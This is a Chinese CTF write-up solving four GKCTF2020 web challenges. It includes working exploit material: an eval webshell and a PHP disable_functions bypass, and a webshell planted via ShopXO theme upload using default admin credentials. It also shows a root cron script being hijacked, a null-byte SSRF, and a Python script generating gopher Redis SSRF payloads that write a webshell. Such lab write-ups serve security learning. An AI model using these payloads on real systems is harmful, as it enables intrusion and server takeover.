1.[GKCTF2020]CheckIN

进入页面后是简单的代码审计:

<title>Check_In</title> 
<?php  
highlight_file(__FILE__); 
class ClassName 
{ 
        public $code = null; 
        public $decode = null; 
        function __construct() 
        { 
                $this->code = @$this->x()['Ginkgo']; 
                $this->decode = @base64_decode( $this->code ); 
                @Eval($this->decode); 
        } 

        public function x() 
        { 
                return $_REQUEST; 
        } 
} 
new ClassName();

本地整个了个一样的,不过在class中加入了如下POC并作出部分修改:

$this->encode = @base64_encode( $this->code ); 
echo $this->encode
删掉decode部分并把最后eval改为:
@eval($this->code)

这样的改动是方便测试,首先本地get输入了一个?Ginkgo=phpinfo();
然后将页面给出的base64送入题目,成功弹出phpinfo().赶紧ctrl+f搜一波disable_function,如下:

然后发现能用的系统执行函数都没了。哎。
然后百度搜了一波绕过disable_function.发现很多师傅都是连上了蚁剑直接用插件就成功了。我们先尝试getshell然后拿到flag后去研究一下:LD_PRELOAD绕过原理。
如何getshell呢。
我先是憨批的试了?Ginkgo=$_POST[cupid];然后,本地都连不上。
后面问了下师傅,才知道是传入的方式不对这样会被认为是一个字符串而不是表达式,导致失败。
后面又去查资料找到了assert($_POST[cupid]);这样会被解析。
本地成功了,但是题目不行。。哪位知道的师傅可以告诉下我,是不是因为PHP版本5和7的区别导致的。
后面我苦思冥想,太菜了没法。想到了eval函数是题目出的肯定可以用,所以我干脆套娃了:

?Ginkgo=ZXZhbChldmFsKCRfUE9TVFs2NjZdKSk7
base64部分是:eval(eval($_POST[666]));

然后连上题目了,然后上去发现所有命令都执行不了,果然是由于disable禁用完了,所以导致莫法拿到flag.
然后就下载了一个绕过disable的蚁剑插件:绕过原理以及蚁剑插件
phpinfo告诉了我们题目环境是7.3,所以找了一个适用7.3的POC打。用的PHP7.0-7.3 bypass disable_function gc.把代码里面的第一个pwn函数改为:

pwn("echo `/readflag` > /tmp/result.txt");

然后去tmp环境下创建一个2.txt写入poc。

最后去网站文件包含,导致2.txt执行。Linux的tmp文件属于可写可读可执行文件夹。权限较低都能执行。

dmFyX2R1bXAoaW5jbHVkZSgnL3RtcC8yLnR4dCcpKTs==
var_dump(include('/tmp/2.txt'));

2.[GKCTF2020]老八小超市儿

打开是个电商平台,感觉功能点好多。先信息收集一波,由于是单独CTF题。子域名不考虑,以及资产什么的也不考虑。
先看一下robots.txt:

再用dirmap扫一波:

访问了下这几个txt无果。路径也带有*就不继续爆破路径了、直接去看登录功能
先注册了一个普通用户登陆上去看一下。
然后在dirmap扫出来几个upload路径。因而去个人信息试试上传图片马。
总感觉哪儿不对,先不上传图片马。应该考点不在这里。
正常思路应该是拿到管理员权限然后getshell。
普通用户的权限毕竟太少,上传只要白名单严格就很难getshell.
因而回到主页,再搜集一波信息。

发现商城采用的ShopXO商城。大意了连网站指纹搜集都搞忘了。搜一波ShopXO商城路径和管理员默认密码。
找到网站目录结构:

发现存在admin.php

继续搜索发现有朋友已经复现过ShopXO的环境:

于是我们也去admin.php?s=/admin/logininfo.html
再使用默认用户名和密码:admin/shopxo
成功进入后台:

接下来需要getshell.
点一下功能点,发现一个管理员列表:

默认居然还不是超级管理员,难道还需要提权一波:
发现编辑权限直接可以变成超级管理员。
继续看网上getshell思路。
在网站管理下有个主题管理:

上面有个主体安装功能可以直接允许我们上传zip的主题安装包。
先去下载一个主题:
就下载一个默认的。然后把一句话木马文件放入default_static_
为什么要放入这个目录下呢,因为图片什么的在这个目录下是可以访问到的。并且这个目录下有个html文件极有可能也会解析我们的一句话木马。

然后根据主题存放路径规则,shell就在:http://xxx.com/public/static/index/default/yijuhua.php

发现我们的GIF89a是我们的马无疑了。直接上蚁剑连接:

接下来是拿flag环节了,好的:flag{this_is_fake_flag/true_flag_in_/root}
去/root下拿肯定是没权限的,真泥煤坑。
接下来是提权time,首先看一下whoami(其实也不用,用户名可以看出来):

所以是www权限。毕竟是题目应该不会让我们自己提权,继续看一下有什么提示,发现根目录下存在:
auto.sh.好的

#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

感觉它也是个计划任务文件,每60s会执行这个下面的py文件。
猜测极有可能有root权限,去用ps看一下。
ps -ef // -e是显示所有进程环境变量,f是全格式 利于看用户权限。

现在去到计划任务的文件中看:/var/mail/makeflaghint.py
发现拥有写入权限,其实它的源代码就可以看出来出题人想让我们利用这个py,因为每隔60s根目录下就会有个flag.hint就输出了
:\nGet The RooT,The Date Is Useful!
因而我们利用这个py就可以拿到flag.

于是写入以下代码:

import os
import io 
import time
os.system("whoami")
gk1=str(time,ctime())
gk="\nSuccess get The Root!"
f=io.open("/flag.hint","rb+")
f.write(str(gk1))
f.write(srt(gk))
#*********添加代码******************
flag = io.open("/root/flag","rb+")
f.write(str(flag.read()))
#*********添加代码*******************
f.close

一分钟后去访问hint.flag就拿到了flag:

3.[GKCTF2020]cve版签到

根据提示我们去看一下:

漏洞库说是由于get_headers()在其使用的url中的空字节后静默截断任何内容引起的。
因而跟%00截断原理一样。原来Url:

http://bf6849dd-4690-46f2-96f8-720791242d7a.node3.buuoj.cn/?url=http://www.ctfhub.com

修改一下将其定位到本地:

http://bf6849dd-4690-46f2-96f8-720791242d7a.node3.buuoj.cn/?url=http://127.0.0.1%00www.ctfhub.com


发现成功了。然后就有提示Host-end must123
于是修改为127.0.0.123拿到flag.

##[GKCTF2020]EZ三剑客-EzWeb##

先ctrl+u发现提示:

<!--?secret-->

访问一下index.php?secret发现:

然后会发现有个173.62.255.10 IP
因而把它填入url中
然后就套娃了,显示两个提交框,说明这个题目的IP就是这个。。
是不是应该扫描一下C段的所有机子。但是由于处于内网环境,因而我们可以SSRF探测内网开放端口。用BP爆破:

在Url提交框里面输入:http://173.62.255.x  x=1-254
爆破x的值即可


发现11主机可能有特殊服务,继续爆破一哈端口。

发现6379端口比较特殊。
很明显考点应该是redis+SSRF了。
然后有个Redis中SSRF-getshell的文章:SSRF-redis

Redis的getshell有三种:
1.绝对路径写webshell
2.写ssh公钥
3.写contrab计划任务反弹shell.
这里直接用文章中的写webshell的exp:

import urllib
protocol="gopher://"
ip="173.216.189.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

生成一个用gopher协议的SSRF。提交这个url即可写入webshell。
最后访问我们的shell执行cat /flag.这里直接用空格会error。用$IFS系列绕过一下就可以了。
我用的$IFS$9

http://173.126.90.11/shell.php?cmd=system('cat$IFS$9/flag');